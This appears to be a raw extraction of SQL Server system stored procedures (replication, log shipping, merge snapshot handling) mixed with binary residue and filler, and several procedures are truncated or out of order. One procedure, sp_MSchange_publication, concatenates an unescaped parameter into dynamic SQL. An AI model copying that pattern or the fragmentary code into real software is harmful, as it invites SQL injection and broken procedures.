	0 8CREATE PROCEDURE sys.sp_MSadd_repl_alert 
(
    @agent_type         int,
    @agent_id           int,
    @error_id           int,
    @alert_error_code   int,
    @xact_seqno         varbinary(16),      
    @command_id         int,
    @publisher          sysname,
    @publisher_db       sysname,
    @subscriber         sysname,
    @subscriber_db      sysname,
    @alert_error_text   ntext
)
AS
begin
    SET NOCOUNT ON

    declare @retcode int
    declare @article sysname
    declare @article_id int
    declare @destination_object sysname
    declare @source_object sysname
    declare @publisher_id int
    declare @publication sysname
    declare @publication_id int
    declare @publication_type int
    declare @subscriber_id int
    declare @publisher_database_id int
    declare @agent_type2 int

    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_repl_alert', 'distribution')
        return (1)
    end
    -- Security Check
    if @agent_type = 3
        select @agent_type2 = 0 -- distribution
    else if (@agent_type & 4 = 4)
        select @agent_type2 = 1 -- merge

    if @agent_type2 is not null 
    begin
        exec @retcode = sys.sp_MScheck_pull_access
                @agent_id = @agent_id,
                @agent_type = @agent_type2
        if @@error <> 0 or @retcode <> 0
            return (1)
    end
    else
    begin
        if is_member('db_owner') = 0
        begin
            RAISERROR (14126, 16, -1)
            return(1)
        end
    end

    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)
    select @subscriber_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
    
    select @publisher_database_id = id from MSpublisher_databases 
    where publisher_id = @publisher_id and publisher_db = @publisher_db

    select @article_id = article_id from MSrepl_commands
    where publisher_database_id = @publisher_database_id
    and xact_seqno = @xact_seqno
    and command_id = @command_id

    select @publication = mp.publication, @publication_id = mp.publication_id, @publication_type = mp.publication_type
    from dbo.MSpublications as mp, dbo.MSsubscriptions as ms
    where mp.publisher_id = ms.publisher_id
    and mp.publisher_db = ms.publisher_db
    and mp.publication_id = ms.publication_id
    and ms.publisher_id = @publisher_id
    and ms.publisher_db = @publisher_db
    and ms.subscriber_id = @subscriber_id
    and ms.subscriber_db = @subscriber_db
    and ms.article_id = @article_id

    select @article = article, @destination_object = destination_object, @source_object = source_object 
    from MSarticles
    where article_id = @article_id
        and publisher_id = @publisher_id
        and publisher_db = @publisher_db
        and publication_id = @publication_id

     INSERT INTO msdb.dbo.sysreplicationalerts (status, agent_type , agent_id, error_id, alert_error_code, time, publisher,
                                publisher_db, publication, publication_type, subscriber, subscriber_db,
                                article, destination_object, source_object, alert_error_text)
                VALUES (0, @agent_type, @agent_id, @error_id, @alert_error_code, getdate(), @publisher, 
                        @publisher_db, @publication, @publication_type, @subscriber, @subscriber_db, 
                        @article, @destination_object, @source_object, @alert_error_text)
    
    IF @@ERROR <> 0
    BEGIN
       RETURN (1)
    END

    return (0)
end
0@ O8create procedure sys.sp_processlogshippingmonitorerror 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL -- should not be null when adding
    ,@sequence_number int = NULL  -- should not be null when adding
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit 
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL 
    ,@source nvarchar(4000) = NULL 
    ,@help_url nvarchar(4000) = NULL 
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorerror', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorerror
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@sequence_number = @sequence_number
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
                    ,@source = @source
                    ,@help_url = @help_url
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!t`	<QR	)}0=" M8
create procedure sys.sp_statistics_rowset
(
    @table_name     sysname,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG = db_name(),
        TABLE_SCHEMA = schema_name(o.schema_id),
        TABLE_NAME = o.name,
        CARDINALITY =   convert (int,
                                (-- Multiple partitions could correspond to one index.
                                    select sum(rows) from sys.partitions s_p
                                    where x.object_id = s_p.object_id and x.index_id = s_p.index_id
                                )
                                )
    from
        sys.all_objects o,
        sys.indexes x
    where
        (
            (@table_schema is null and o.name = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = o.object_id
        ) and
        o.type in ('U') and
        x.object_id = o.object_id and
        x.index_id in (0,1) -- If there are no indexes then table stats are in a row with indid =0
    order by 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<HS	<02@ U8create procedure sys.sp_MSget_type_wrapper
(
    @tabid int, 
    @colid int, 
    @colname sysname output, 
    @typestring nvarchar(4000) output
)
as
begin
    declare @retcode int
    
    -- Since Merge needs this proc to be public we will put a dbo check here
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode <> 0 or @@error<> 0
        return 1

    -- now we will call sp_MSget_type with tempdb context
    exec @retcode = tempdb.sys.sp_MSget_type @tabid, @colid, @colname output, @typestring output
    return @retcode
end
0D@ 8
-- add it
create view sys.dm_pdw_nodes as
select
	pdw_node_id,
	type collate database_default type,
	name collate database_default name,
	address collate database_default address,
	is_passive
from sys._dm_pdw_nodes
0ў 8create function sys.fn_remote_statistics(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@name		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_STATISTICS, @server, @catalog, @schema, @name)
08@ D8
CREATE PROCEDURE sys.sp_MSrepl_checkOraclepackageversion
(
    @publisher          sysname,
    @versionsmatch      int OUTPUT,
    @packageversion		nvarchar(256) OUTPUT 
)
AS
BEGIN
    set nocount on
    DECLARE @retcode            int
    DECLARE @version			nvarchar(256)
    
    -- Set version string from SERVERPROPERTY
    SET @version = N'Microsoft SQL Server ' +  convert(nvarchar(100),SERVERPROPERTY('ProductLevel')) +
		+ N' Version:' + convert(nvarchar(100),SERVERPROPERTY('ProductVersion')) 

    -- Security check.  'sysadmin' or db_owner of distribution db required. 
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Get the Oracle package version
    EXEC @retcode = sys.sp_MSrepl_getOraclepackageversion
        @publisher = @publisher,
        @packageversion   = @packageversion OUTPUT
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN (1)
    END
    
    -- If the package version is NULL the package install requires a
    -- complete upgrade including meta data tables.
    IF @packageversion IS NULL
    BEGIN
        SET @versionsmatch = 0
        RETURN (0)
    END
    
    -- If the package version matches the current version identically,
    -- set @versionmatch to 1 to indicate no refresh of the Oracle install
    -- is needed.
    IF @packageversion = @version
    BEGIN
        SET @versionsmatch = 1
        RETURN (0)
    END
    
    -- The installed package is SQL Server 2005 RTM or greater, or an
    -- older version of SQL Server 2008. Set @versionmatch to 2 to indicate
    -- that the package code should be refreshed, but the meta data tables
    -- should only be modified as needed.
    SET @versionsmatch = 2

    RETURN (0)
END
0o)@ 8CREATE view sys.dm_hadr_instance_node_map
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_INSTANCE_NODE_MAP)
0;+@ D8qJh
(
0@ 8-- for a given publication and article this proc will look at the distributor and
-- get the max range allocated value.
create procedure sys.sp_MSget_max_used_identity_from_distributor
    @publication sysname,
    @article sysname,
    @max_used numeric(38,0) output
as
    declare @distributor sysname
    declare @distribdb sysname
    declare @distproc nvarchar(350)
    declare @dbname sysname
    declare @retcode int
    			,@publishingservername sysname

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribdb OUTPUT
    if @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    set @dbname = DB_NAME()
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSget_max_used_identity'
    			,@publishingservername = publishingservername()
    EXECUTE @retcode = @distproc 
        @publisher = @publishingservername,
        @publisher_db = @dbname,
        @publication = @publication,
        @article = @article,
        @max_used = @max_used output
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<5T	]`\0m 8CREATE PROCEDURE sys.sp_MSchange_publication 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @property sysname,
    @value nvarchar(255)
)
as
BEGIN
    set nocount on
    
 	declare @publisher_id smallint
 			,@publication_type int
 			,@retcode int
 			,@max_distretention int
 			,@retention_value int
 			,@cmd    nvarchar(4000)
 			,@cmd2   nvarchar(4000)
 			,@cmd3   nvarchar(4000)
 			,@retention_period_unit tinyint

 	declare @setvalue int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchange_publication', 'distribution')
        return (1)
    end
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    /* Charater properties  */

    begin tran
    save tran sp_MSchange_publication

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) ='description'
    BEGIN
        UPDATE dbo.MSpublications SET description = @value
            WHERE   publisher_id = @publisher_id AND
                    publisher_db = @publisher_db AND
                    publication = @publication
        IF @@ERROR <> 0 
            goto UNDO
    END
    ELSE if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) IN ('retention')
    BEGIN
    	select @retention_value = convert(int, @value)
		select @publication_type = publication_type
			from dbo.MSpublications
			WHERE   publisher_id = @publisher_id AND
                    publisher_db = @publisher_db AND
                    publication = @publication
        UPDATE dbo.MSpublications set retention=@retention_value 
        WHERE   publisher_id = @publisher_id AND
                    publisher_db = @publisher_db AND
                    publication = @publication
        if @@ERROR<>0
        		goto UNDO
    END
    ELSE if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) IN ('retention_period_unit')
    BEGIN
    	select @retention_period_unit = convert(tinyint, @value)
		UPDATE dbo.MSpublications set retention_period_unit=@retention_period_unit 
        WHERE   publisher_id = @publisher_id AND
                    publisher_db = @publisher_db AND
                    publication = @publication
        if @@ERROR<>0
        		goto UNDO
    END
    ELSE if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = ('queue_type')
    BEGIN
        --
        -- Value could be 1 or 2
        --
        if (convert(int, @value) = 1)
        begin
            --
            -- Changing to MSMQ (for pre Yukon publishers)
            -- Distributor needs to support MSMQ 2.0 - Just check that
            -- Now we use xp_MSver to detect NT OS version
            -- MSMQ subscription only allowed for platforms that support MSMQ 2.0
            -- version 5.0.2195 or higher
            --
            create table #tosversion ( propid int, propname sysname collate database_default, value int, charvalue nvarchar(255) collate database_default)
            insert into #tosversion (propid, propname, value, charvalue)
                exec master.dbo.xp_msver N'WindowsVersion'

            declare @vervalue int
                        ,@lobyte tinyint
                        ,@hibyte tinyint
                        ,@loword smallint
                        ,@hiword smallint

            --
            -- low order byte of low order word = OSmajor, high order byte of low order word = OSminor
            -- high order word = OSbuild
            --
            select @vervalue = value from #tosversion where propname = N'WindowsVersion'
            select @loword = (@vervalue & 0xffff)
                    ,@hiword = (@vervalue / 0x10000) & 0xffff
            select @lobyte = @loword & 0xff
                    ,@hibyte = (@loword / 100) & 0xff
            drop table #tosversion
            --
            -- check for OS major version
            --
            if (@lobyte < 5)
            begin
                raiserror(21334, 16, 6, '2.0')
                goto UNDO
            end
            --
            -- check for OS build version
            --
            if (@lobyte = 5 and @hiword < 2195)
            begin
                raiserror(21334, 16, 7, '2.0')
                goto UNDO
            end
        end
        else if (convert(int, @value) = 2)
        begin
            --
            -- Changing to SQL (for upgrade)
            -- cleanup the MSMQ created for this subscriptions that are active
            -- and switch to SQL for distribution agents
            --
            exec @retcode = sp_MSrefreshmqtosql @publisher ,@publisher_db, @publication
            IF @@ERROR <> 0 
                goto UNDO
        end
    END
    ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'options'
    BEGIN
		UPDATE dbo.MSpublications 
				SET options = CONVERT(int, @value)
	        WHERE publisher_id = @publisher_id 
	        	AND publisher_db = @publisher_db 
	        	AND publication = @publication
        IF @@ERROR <> 0
        	GOTO UNDO
    END
    ELSE if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = ('min_autonosync_lsn')
    BEGIN
        UPDATE dbo.MSpublications
        set min_autonosync_lsn = case when @value is null then NULL else CONVERT(varbinary(16), @value) end
            WHERE publisher_id = @publisher_id
                AND publisher_db = @publisher_db
                AND publication = @publication
        if @@error <> 0 
            GOTO UNDO
    END
    ELSE
    BEGIN
        SELECT @cmd = N''
        SELECT @cmd = @cmd + N'UPDATE dbo.MSpublications '
        SELECT @cmd = @cmd + N'   SET ' + LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) + N' = '
        /* @value can be 255 nchars, so don't append it */
        SELECT @cmd2 = N' WHERE publisher_id = ' + STR(@publisher_id)
        SELECT @cmd2 =  @cmd2 + N' AND publisher_db = N' + quotename(@publisher_db, N'''')
        SELECT @cmd2 =  @cmd2 + N' AND publication = N'  + quotename(@publication, N'''')
        EXECUTE (@cmd + @value + @cmd2)
        IF @@ERROR <> 0 
            goto UNDO
    END

    COMMIT TRAN
    RETURN(0)

UNDO:
    IF (@@TRANCOUNT > 0)
    begin
        ROLLBACK TRAN sp_MSchange_publication
        COMMIT TRAN   
    end
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`V	<>U	rK(V0/ 8
create procedure sys.sp_bcp_dbcmptlevel
(
    @dbname sysname
)
as
    select
        cmptlevel = sdb.compatibility_level
    from
        sys.databases sdb
    where
        name = @dbname
0! -8CREATE PROCEDURE sys.sp_MSchange_article
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @article sysname,
    @article_id int,
    @property nvarchar(20) = NULL,
    @value nvarchar(255) = NULL
)
AS
begin
    DECLARE @retcode int
    DECLARE @publisher_id smallint
    DECLARE @publication_id int
    declare @tablename sysname

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchange_article', 'distribution')
        return (1)
    end

	-- Get publisher id

    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

	-- lower case property
	select @property = lower (@property)
    
	-- Get publication id

    select @publication_id = publication_id
        from dbo.MSpublications where
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end

	if @property = N'description'     
	begin
		update MSarticles set description = @value
		where publisher_id = @publisher_id
		and publisher_db = @publisher_db
		and publication_id = @publication_id
		and article = @article
		and article_id = @article_id
		if @@error <> 0
		begin
			return 1
		end
	end
	else if @property in( N'dest_table', N'dest_object' )
	begin
		update MSarticles set destination_object = @value
		where publisher_id = @publisher_id
		and publisher_db = @publisher_db
		and publication_id = @publication_id
		and article = @article
		and article_id = @article_id
		if @@error <> 0
		begin
			return 1
		end
	end
	else if @property = 'identity_range'
	begin
		declare @range bigint
		select @range = convert(bigint, @value)
		select @tablename = source_object from MSarticles 
			where publisher_id = @publisher_id
			and publisher_db = @publisher_db
			and publication_id = @publication_id
			and article = @article
			and article_id = @article_id

		update MSrepl_identity_range set range = @range where
			publisher = @publisher and
			publisher_db = @publisher_db and
			tablename = @tablename
		if @@error <> 0
		begin
			return 1
		end
	end
	else if @property = 'threshold'
	begin
		declare @threshold int
		select @threshold = convert(int, @value)
		select @tablename = source_object from MSarticles 
			where publisher_id = @publisher_id
			and publisher_db = @publisher_db
			and publication_id = @publication_id
			and article = @article
			and article_id = @article_id

		update MSrepl_identity_range set threshold = @threshold where
			publisher = @publisher and
			publisher_db = @publisher_db and
			tablename = @tablename
		if @@error <> 0
		begin
			return 1
		end
	end
	else if @property in ('destination_owner', 'dest_owner')
	begin
		update MSarticles
			set destination_owner = @value
			where publisher_id = @publisher_id
				and publisher_db = @publisher_db
				and publication_id = @publication_id
				and article = @article
				and article_id = @article_id
		if @@error <> 0
		begin
			return 1
		end
	end
	else
	begin
		return 1
	end
end
0^K@ D8\h{%|hot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
        else if @previous_snapshot_session_token is null
        begin
            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                @snapshot_session_token = @snapshot_session_token,
                @snapshot_progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    end

    commit transaction
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 0
    
Failure:
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSregistermergesnappubid
        commit transaction
    end
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xK`U	r<jV	&gl"0e@ 
8--
-- Name: sp_MSregistermergesnappubid
--
-- Description: This procedure is used by the merge agent to register the 
--              pubid of the publication for which the current snapshot is 
--              being delivered in the snapshot delivery progress table. By 
--              registering the pubid and the snapshot session token in the 
--              snapshot delivery progress table, the merge agent will be 
--              able to detect the case where a different snapshot is 
--              being delivered over a previously interrupted snapshot. 
--              If a different snapshot is being delivered over an 
--              interrupted snapshot, this procedure will perform the 
--              necessary cleanup in the merge meta-data tables to ensure that
--              the new snapshot can be delivered successfully.
--              
-- Parameters: @snapshot_session_token nvarchar(260) (mandatory)
--             @pubid uniqueidentifier (mandatory)
--
-- Note: This procedure should only be called by the merge agent at the 
--       subscriber database.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: This is a public interface object, security check is performed 
--           inside this procedure to restrict access to sysadmins and 
--           db_owners of the subscriber database.
--
create procedure sys.sp_MSregistermergesnappubid (
    @snapshot_session_token nvarchar(260),
    @pubid uniqueidentifier
    )
as
begin
    set nocount on
    declare @retcode int
    declare @pubidprefix nvarchar(100)
    declare @transaction_opened bit
    declare @snapshot_progress_token nvarchar(500)
    declare @snapshot_progress_token_hash nvarchar(500)
    declare @previous_snapshot_session_token nvarchar(260)

    select @retcode = 0
    select @pubidprefix = N'<MergePubId>:'
    select @transaction_opened = 0
    select @snapshot_progress_token = @pubidprefix + convert(nvarchar(100), @pubid)
    select @snapshot_progress_token_hash = sys.fn_repl32bitstringhash(@snapshot_progress_token)
    select @previous_snapshot_session_token = null
   
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

    begin transaction
    save transaction sp_MSregistermergesnappubid
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 1

    -- Try to pick up the session token of a previously interrupted snapshot
    -- delivery session for this publication
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin

        select @previous_snapshot_session_token = session_token
          from dbo.MSsnapshotdeliveryprogress
         where progress_token_hash = @snapshot_progress_token_hash
           and progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        -- The current snapshot is different from the one interrupted before, 
        -- need to do cleanup of the interrupted snapshot            
        if @previous_snapshot_session_token is not null and
           @previous_snapshot_session_token <> @snapshot_session_token
        begin
            exec @retcode = sys.sp_MSpurgepartialmergesnapshot 
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
        else if @previous_snapshot_session_token is null
        begin
            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                @snapshot_session_token = @snapshot_session_token,
                @snapshot_progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    
    end

    commit transaction
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    select @transaction_opened = 0
    
Failure:
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSregistermergesnappubid
        commit transaction
    end
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!`f<J
W	i/HV0@ 8CREATE PROCEDURE sys.sp_MSDropCanClearSubscriberStatus
(
	@publisher sysname,
	@distributor sysname,	
	@subscriber sysname,
	@distribdb sysname
)
AS
BEGIN
    DECLARE @distproc			nvarchar(1000)
    
    -- If the subscriber to be dropped is to a SQL Server publisher, check to see whether
	-- it is also a subscriber to an Oracle publisher serviced by this distributor.
	-- Similarly, if the subscriber to be dropped is to an Oracle publisher, check to see 
	-- whether it is also a subscriber of the local publisher or a different Oracle publisher.  
	-- If either condition is true, the subscriber status bit cannot be cleared when the 
	-- subscriber is dropped.
	--
